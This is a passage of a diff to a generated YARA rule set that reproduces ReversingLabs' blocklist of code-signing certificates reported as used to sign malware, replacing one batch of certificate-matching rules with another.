"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "09507b09b035195b74434f56041588f67245fa097183228dffc612bb4901825b" + logic_hash = "c0132d71de1384f6e534dd154eba88c4a51c43b7dfe984f3064ba4feffa4dd5a" score = 75 quality = 90 tags = "INFO, FILE" @@ -18461,21 +40855,21 @@ rule REVERSINGLABS_Cert_Blocklist_08622B9Dd9D78E67678Ecc21E026522E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kayak Republic af 2015 APS" and pe.signatures [ i ] . serial == "08:62:2b:9d:d9:d7:8e:67:67:8e:cc:21:e0:26:52:2e" and 1611619200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x8E\\xA6\\xE9\\x97\\xA8\\xE7\\xBF\\x94\\xE9\\x80\\x9A\\xE4\\xBF\\xA1\\xE6\\x81\\xAF\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8\\xE5\\x8C\\x97\\xE4\\xBA\\xAC\\xE5\\x88\\x86\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:fe:94:04:dc:73:cf:1c:2b:a1:45:0b:83:98:30:55:57" or pe.signatures [ i ] . serial == "fe:94:04:dc:73:cf:1c:2b:a1:45:0b:83:98:30:55:57" ) and 1287360000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E69A6De0074Ece38C2F30F0D4A808456 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Cb2D523A6Bf7A066642C578De1C9Be4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "17571f1e-1dce-5216-8f45-467e5d77ccf1" + id = "d2c87c29-cb64-5d43-847b-64c888421c1f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8376-L8394" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2376-L2392" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "21d8641d2394120847044f0e6f4d868095a1e30c0b594a3d045877ab9b3808a1" + logic_hash = "5a786b9ade5a59b8a1e0bbef1eb3dcb65404dcee19d572dc60f9ec9f45e4755b" score = 75 quality = 90 tags = "INFO, FILE" @@ -18485,21 +40879,21 @@ rule REVERSINGLABS_Cert_Blocklist_E69A6De0074Ece38C2F30F0D4A808456 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Semantic" and ( pe.signatures [ i ] . serial == "00:e6:9a:6d:e0:07:4e:ce:38:c2:f3:0f:0d:4a:80:84:56" or pe.signatures [ i ] . serial == "e6:9a:6d:e0:07:4e:ce:38:c2:f3:0f:0d:4a:80:84:56" ) and 1611532800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shenzhen Hua\\xE2\\x80\\x99nan Xingfa Electronic Equipment Firm" and pe.signatures [ i ] . serial == "1c:b2:d5:23:a6:bf:7a:06:66:42:c5:78:de:1c:9b:e4" and 1400889599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_8385684419Ab26A3F2640B1496E1Fe94 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3A6Ccabb1C62F3Be3Eb03869Fa43Dc4A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "03e861a0-156e-5366-a312-dc2aa73b0393" + id = "b16f7bb7-88fe-5f8f-9592-8d309f556419" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8396-L8414" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2394-L2410" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24f75badc335160a8053a4c7e8bbd8ddbd3266c3a18059a937d5989df97ae9d9" + logic_hash = "ccb603c8a5f4fb63876e78d763f80a97098c23aa10673c7b04a48026268f57d3" score = 75 quality = 90 tags = "INFO, FILE" @@ -18509,21 +40903,21 @@ rule REVERSINGLABS_Cert_Blocklist_8385684419Ab26A3F2640B1496E1Fe94 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CAUSE FOR CHANGE LTD" and ( pe.signatures [ i ] . serial == "00:83:85:68:44:19:ab:26:a3:f2:64:0b:14:96:e1:fe:94" or pe.signatures [ i ] . serial == "83:85:68:44:19:ab:26:a3:f2:64:0b:14:96:e1:fe:94" ) and 1612137600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xB8\\xB8\\xE5\\xB7\\x9E\\xE9\\xAA\\x8F\\xE6\\x99\\xAF\\xE9\\x80\\x9A\\xE8\\x81\\x94\\xE6\\x95\\xB0\\xE5\\xAD\\x97\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "3a:6c:ca:bb:1c:62:f3:be:3e:b0:38:69:fa:43:dc:4a" and 1259798399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_21E3Cae5B77C41528658Ada08509C392 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_864196F01971Dbec7002B48642A7013A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fdb1903b-15c1-5cb7-892f-58957303d3b4" + id = "80478430-ce01-5fae-bcaf-2b7a445bc20d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8416-L8432" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2412-L2430" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2e24ed0bd0bf3c36cae4bf106a2c17386bfb58b76372068be9745c2d501f30fc" + logic_hash = "a3173bb08e673caaa64ab22854840a135e891044b165bbc67733c951ec6aa991" score = 75 quality = 90 tags = "INFO, FILE" @@ -18533,21 +40927,21 @@ rule REVERSINGLABS_Cert_Blocklist_21E3Cae5B77C41528658Ada08509C392 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Network Design International Holdings Limited" and pe.signatures [ i ] . serial == "21:e3:ca:e5:b7:7c:41:52:86:58:ad:a0:85:09:c3:92" and 1609233559 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WLE DESENVOLVIMENTO DE SOFTWARE E ASSESSORIA LTDA EPP" and ( pe.signatures [ i ] . serial == "00:86:41:96:f0:19:71:db:ec:70:02:b4:86:42:a7:01:3a" or pe.signatures [ i ] . serial == "86:41:96:f0:19:71:db:ec:70:02:b4:86:42:a7:01:3a" ) and 1384300799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2Abd2Eef14D480Dfea9Ca9Fdd823Cf03 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Fda1E121B61Adeca936A6Aebe079303 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d6cb1371-113d-5155-aed2-c575321f0973" + id = "fba98d6b-dc09-5294-ad86-2f4e0d8ad320" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8434-L8450" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2432-L2448" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2dfc220c44d3dda28a253e5115ae9a087b6ddbf1a7ca1e9bcae5bd9ac5b2e1a0" + logic_hash = "70a04c83e79c98024bacf1688bb46d80c9b8491e25dd32d6d92bf3cf61c62e48" score = 75 quality = 90 tags = "INFO, FILE" @@ -18557,21 +40951,21 @@ rule REVERSINGLABS_Cert_Blocklist_2Abd2Eef14D480Dfea9Ca9Fdd823Cf03 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BE SOL d.o.o." and pe.signatures [ i ] . serial == "2a:bd:2e:ef:14:d4:80:df:ea:9c:a9:fd:d8:23:cf:03" and 1611100800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Laizhou wanlei stone Co., LTD" and pe.signatures [ i ] . serial == "4f:da:1e:12:1b:61:ad:ec:a9:36:a6:ae:be:07:93:03" and 1310687999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_86909B91F07F9316984D888D1E28Ab76 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_03866Deb183Abfbf4Ff458D4De7Bd73A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3cde0016-14d8-5b3a-860e-f5128f899542" + id = "2641eb86-94f0-537c-a82a-6a5e1596ee84" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8452-L8470" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2450-L2466" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "abd84492ed008125688a53e20d51780fa0b8c2309dcf751ff76a03d6f337beaa" + logic_hash = "90d09d0d2d01500e0670277d0e8de574feecf7443cf4d077912b1166a9c14c43" score = 75 quality = 90 tags = "INFO, FILE" @@ -18581,21 +40975,21 @@ rule REVERSINGLABS_Cert_Blocklist_86909B91F07F9316984D888D1E28Ab76 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dantherm Intelligent Monitoring A/S" and ( pe.signatures [ i ] . serial == "00:86:90:9b:91:f0:7f:93:16:98:4d:88:8d:1e:28:ab:76" or pe.signatures [ i ] . serial == "86:90:9b:91:f0:7f:93:16:98:4d:88:8d:1e:28:ab:76" ) and 1611273600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x87\\x8D\\xE5\\xBA\\x86\\xE8\\xAF\\x9D\\xE8\\xAF\\xAD\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "03:86:6d:eb:18:3a:bf:bf:4f:f4:58:d4:de:7b:d7:3a" and 1371772799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D1B8F1Fe56381Befdb2E73Ffef2A4B28 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Be41B34127Ca9E6270830D2070Db426 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "226371ea-670f-52f2-8dfc-78b30a29a5cc" + id = "bee69e9d-db8e-5d4e-8e97-b3791b4f717d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8472-L8490" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2468-L2484" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c118cb46914e7a6df8dd33dd14d5f9cf2692d98311503ec850cc66f02c20839e" + logic_hash = "b66c4b9264be70d53838442a3112c4bacbdf2dda90840d71c3eb949e630b3f17" score = 75 quality = 90 tags = "INFO, FILE" @@ -18605,21 +40999,21 @@ rule REVERSINGLABS_Cert_Blocklist_D1B8F1Fe56381Befdb2E73Ffef2A4B28 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sein\\xC3\\xA4joen Squash ja Bowling Oy" and ( pe.signatures [ i ] . serial == "00:d1:b8:f1:fe:56:38:1b:ef:db:2e:73:ff:ef:2a:4b:28" or pe.signatures [ i ] . serial == "d1:b8:f1:fe:56:38:1b:ef:db:2e:73:ff:ef:2a:4b:28" ) and 1617667200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x8C\\x97\\xE4\\xBA\\xAC\\xE8\\x80\\x98\\xE5\\x8D\\x87\\xE5\\xA4\\xA9\\xE4\\xB8\\x8B\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "1b:e4:1b:34:12:7c:a9:e6:27:08:30:d2:07:0d:b4:26" and 1352764799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D4Ef1Ab6Ab5D3Cb35E4Efb7984Def7A2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9B108B8A1Daa0D5581F59Fcee0447901 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "41b2e05f-1dcd-5ebc-97da-275512deaf72" + id = "cacb2af8-dbc6-5d61-a2d5-641c5c09bc79" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8492-L8510" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2486-L2504" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ecc2f6bfda1a0afd016f0a5183c0d1cdfe5d5e06c893a7d9a3d7cb7f9bc4bf16" + logic_hash = "696e3da511f74f9cfb10b96130a36ae9f48c22f1e0deb76092db1262980ab3ac" score = 75 quality = 90 tags = "INFO, FILE" @@ -18629,21 +41023,21 @@ rule REVERSINGLABS_Cert_Blocklist_D4Ef1Ab6Ab5D3Cb35E4Efb7984Def7A2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REIGN BROS ApS" and ( pe.signatures [ i ] . serial == "00:d4:ef:1a:b6:ab:5d:3c:b3:5e:4e:fb:79:84:de:f7:a2" or pe.signatures [ i ] . serial == "d4:ef:1a:b6:ab:5d:3c:b3:5e:4e:fb:79:84:de:f7:a2" ) and 1611187200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CharacTell Ltd" and ( pe.signatures [ i ] . serial == "00:9b:10:8b:8a:1d:aa:0d:55:81:f5:9f:ce:e0:44:79:01" or pe.signatures [ i ] . serial == "9b:10:8b:8a:1d:aa:0d:55:81:f5:9f:ce:e0:44:79:01" ) and 1380671999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_066276Af2F2C7E246D3B1Cab1B4Aa42E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5F8203C430Fc7Db4E61F6684F6829Ffc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "97f791d5-7a73-5da7-984e-32bb94d0e83f" + id = "975cd500-2f08-55c9-a821-4dde3a54ae0c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8512-L8528" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2506-L2522" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "30d4fa2cbc75d3a6258cdf0374159f25ea152c39784f8b7e9c461978df865dc0" + logic_hash = "cd22d1beea12d1f6c50f69e76074c2582ce5567887056c43d4d6c87d33fce1bf" score = 75 quality = 90 tags = "INFO, FILE" @@ -18653,21 +41047,21 @@ rule REVERSINGLABS_Cert_Blocklist_066276Af2F2C7E246D3B1Cab1B4Aa42E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IQ Trade ApS" and pe.signatures [ i ] . serial == "06:62:76:af:2f:2c:7e:24:6d:3b:1c:ab:1b:4a:a4:2e" and 1616630400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Haivision Network Video" and pe.signatures [ i ] . serial == "5f:82:03:c4:30:fc:7d:b4:e6:1f:66:84:f6:82:9f:fc" and 1382572799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_65Cd323C2483668B90A44A711D2A6B98 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6B6Daef5Be29F20Ddce4B0F5E9Fa6Ea5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e2ed910d-2264-58c1-a1a0-3c131020a2cf" + id = "55611c9a-d45d-55fa-8e5e-a5621223cc9d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8530-L8546" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2524-L2540" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "653aff6f3913f1bf51e90e7a835dbb5441457175797cefdddd234a6c2c0f11ad" + logic_hash = "edd2f302d2fac65f6a93372a24c3f80757f2b175af661032917366e9629c5491" score = 75 quality = 90 tags = "INFO, FILE" @@ -18677,21 +41071,21 @@ rule REVERSINGLABS_Cert_Blocklist_65Cd323C2483668B90A44A711D2A6B98 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Giperion" and pe.signatures [ i ] . serial == "65:cd:32:3c:24:83:66:8b:90:a4:4a:71:1d:2a:6b:98" and 1602547200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Calibration Consultants" and pe.signatures [ i ] . serial == "6b:6d:ae:f5:be:29:f2:0d:dc:e4:b0:f5:e9:fa:6e:a5" and 1280447999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5A17D5De74Fd8F09Df596Df3123139Bb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_57D6Dff1Ef96F01B9430666B2733Cc87 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4a3ffa4a-c080-5d76-9655-010cde091ae2" + id = "c20b81a1-7331-57a9-9daf-007ec516a473" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8548-L8564" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2542-L2558" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7ed62740fe191d961ad32b2a79463cc9cbce557ea757e413860f7b4974904c03" + logic_hash = "40d22137e9c5345859c5f000166da2a3117bcfcc19b4c5e81083cad80dfa6ee4" score = 75 quality = 90 tags = "INFO, FILE" @@ -18701,21 +41095,21 @@ rule REVERSINGLABS_Cert_Blocklist_5A17D5De74Fd8F09Df596Df3123139Bb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ACTA FIS d.o.o." and pe.signatures [ i ] . serial == "5a:17:d5:de:74:fd:8f:09:df:59:6d:f3:12:31:39:bb" and 1611273600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Smart Plugin Ltda" and pe.signatures [ i ] . serial == "57:d6:df:f1:ef:96:f0:1b:94:30:66:6b:27:33:cc:87" and 1314575999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_15Da61D7E1A631803431561674Fb9B90 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0166B65038D61E5435B48204Cae4795A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "07518dc2-bd6c-5a4c-b537-68f5a462cdc2" + id = "04bdefc5-ee4e-5a46-94d6-e3a5d8b56ce0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8566-L8582" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2560-L2576" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "75d2c3b47fe9c863812f2c98fc565af9050b909a03528e2ea4a96542a3ec0c0d" + logic_hash = "4e289eda4d5381250bcd6e36daade6f1e1803b6d16578d7eaee4454cef6981d0" score = 75 quality = 90 tags = "INFO, FILE" @@ -18725,21 +41119,21 @@ rule REVERSINGLABS_Cert_Blocklist_15Da61D7E1A631803431561674Fb9B90 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JAY DANCE STUDIO d.o.o." and pe.signatures [ i ] . serial == "15:da:61:d7:e1:a6:31:80:34:31:56:16:74:fb:9b:90" and 1610668800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOLGA KAPLAN" and pe.signatures [ i ] . serial == "01:66:b6:50:38:d6:1e:54:35:b4:82:04:ca:e4:79:5a" and 1403999999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Ab21306B11Ff280A93Fc445876988Ab : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_784F226B45C3Bd8E4089243D747D1F59 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "656bb2a6-bb41-5190-af10-280351e64c66" + id = "f2a979e0-2027-5143-8cb4-ffcfd19faf45" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8584-L8600" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2578-L2594" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0cda954aa807336a6737716d0fa43d696376c240ab7be9d8477baf8800604bf1" + logic_hash = "df8ca35a07ec6815d1efb68fa6fbf8f80c57032ecb99d0b038da0604ceffe8cf" score = 75 quality = 90 tags = "INFO, FILE" @@ -18749,21 +41143,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Ab21306B11Ff280A93Fc445876988Ab : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABC BIOS d.o.o." and pe.signatures [ i ] . serial == "7a:b2:13:06:b1:1f:f2:80:a9:3f:c4:45:87:69:88:ab" and 1611014400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FSPro Labs" and pe.signatures [ i ] . serial == "78:4f:22:6b:45:c3:bd:8e:40:89:24:3d:74:7d:1f:59" and 1242777599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_634E16E38F12E9A71Aca08E4C6B2Dbb9 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_11690F05604445Fae0De539Eeeeec584 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4aa7bea7-06fb-5d90-bac4-c8ca1ca5c02f" + id = "e6513bd1-2524-5baa-8484-b7e0f2f0c02a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8602-L8618" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2596-L2612" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "08950f276e5cf3fe4b5f7421ba671dfd72585aac3bbed7868fdb0e5aa90ec10e" + logic_hash = "b66257f562f698559910eb9576f8fdf0ce3a750cc0a96a27e2ec1a18872ad13f" score = 75 quality = 90 tags = "INFO, FILE" @@ -18773,21 +41167,21 @@ rule REVERSINGLABS_Cert_Blocklist_634E16E38F12E9A71Aca08E4C6B2Dbb9 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AUTO RESPONSE LTD CYF" and pe.signatures [ i ] . serial == "63:4e:16:e3:8f:12:e9:a7:1a:ca:08:e4:c6:b2:db:b9" and 1616112000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tera information Technology co.Ltd" and pe.signatures [ i ] . serial == "11:69:0f:05:60:44:45:fa:e0:de:53:9e:ee:ee:c5:84" and 1294703999 <= pe.signatures [ i ] . not_after ) } -rule 